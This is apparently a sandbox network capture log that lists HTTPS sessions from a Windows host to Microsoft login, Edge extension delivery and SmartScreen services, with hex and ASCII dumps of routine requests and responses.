2024-11-20 15:50:55 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-20 15:50:55 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-20 15:50:55 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-20 15:50:55 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-20 15:50:55 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-20 15:50:55 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49791	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4742 Host: login.live.com
2024-11-20 15:50:54 UTC	4742	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 15:50:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 15:49:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C540_SN1 x-ms-request-id: a24ff5f0-dd00-442f-969c-dab4794fa9df PPServer: PPV: 30 H: SN1PEPF0002F96C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 15:50:54 GMT Connection: close Content-Length: 10197
2024-11-20 15:50:55 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49794	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:54 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4742 Host: login.live.com
2024-11-20 15:50:54 UTC	4742	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 15:50:55 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 15:49:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C540_BAY x-ms-request-id: f1ff748b-a09b-43cd-852f-5c62a88e9e92 PPServer: PPV: 30 H: PH1PEPF00018BCE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 15:50:55 GMT Connection: close Content-Length: 10197
2024-11-20 15:50:55 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49795	152.195.19.97	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:54 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732722650&P2=404&P3=2&P4=Kioegs7HyTLuQ2tcE6dC02xamGfg5pwQoXFZUulxy8yXg7tGhp56KzBpnIL05tp61EM%2fIwDYrix3veEngEr%2fjQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: 9TpKF+oLGC3SZRUdSr+9Gc Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 15:50:55 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12044386 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 20 Nov 2024 15:50:55 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-20 15:50:55 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49797	13.91.222.61	443	7064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:50:56 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidStrcHVWM1RqcG80WitGb3o3MU9RQT09IiwgImhhc2giOiJZd294QytKcUI4VT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-20 15:50:56 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-20 15:50:57 UTC	302	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:57 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-20 15:50:57 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-20 15:50:57 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-20 15:50:57 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-20 15:50:57 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": 